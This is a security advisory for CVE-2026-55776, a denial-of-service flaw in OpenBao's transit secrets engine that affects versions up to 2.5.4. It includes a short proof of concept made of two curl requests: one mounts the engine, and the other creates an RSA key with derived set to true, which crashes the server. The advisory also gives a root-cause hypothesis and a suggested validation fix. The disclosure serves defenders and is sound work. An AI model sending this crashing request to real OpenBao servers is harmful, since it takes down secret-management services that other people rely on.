PT-2026-51111 · Go · Github.Com/Openbao/Openbao

Published 2026-06-19 · Updated 2026-06-19 · CVE-2026-55776

OSV

CVSS v3.1

6.5

Medium

Base vector

AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to transit/keys/* can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric type (rsa-*, ecdsa-*, ed25519) with derived: true. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.

Mount the transit engine:

curl -sS -X POST -H "X-Vault-Token: root" -d '{"type":"transit"}' http://127.0.0.1:8200/v1/sys/mounts/transit

Trigger the crash:

curl -sS -w ' HTTP %{http code} ' -X POST -H "X-Vault-Token: root" -H "Content-Type: application/json" -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion allowed":false}' http://127.0.0.1:8200/v1/transit/keys/some-key-name

You can try with both JSON or HCL It will crash the entire cluster.

Observed: HTTP 000 curl: (52) Empty reply from server

$ docker ps -a --filter name=openbao STATUS: Exited (2)

Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When derived: true is supplied alongside an asymmetric type, the creation path likely panics on a missing derived-key field or invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit policy.go / key-creation path.

Suggested fix: Validate the (type, derived) combination at the top of the create-key handler. Reject with a 400 if derived: true is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305, xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.

Fix

Assertion Failure

Weakness Enumeration

CWE-617

Related Identifiers

CVE-2026-55776

GHSA-8W8F-R2XV-4Q4J

Affected Products

Github.Com/Openbao/Openbao

References · 6

• https://osv.dev/vulnerability/GHSA-8w8f-r2xv-4q4j · Vendor Advisory
• https://github.com/openbao/openbao · Note
• https://github.com/openbao/openbao/commit/db57c62602b25da12951f3f0edb888e7c4da61e5 · Note
• https://github.com/openbao/openbao/pull/3309 · Note
• https://github.com/openbao/openbao/security/advisories/GHSA-8w8f-r2xv-4q4j · Note
• https://github.com/openbao/openbao/releases/tag/v2.5.5 · Note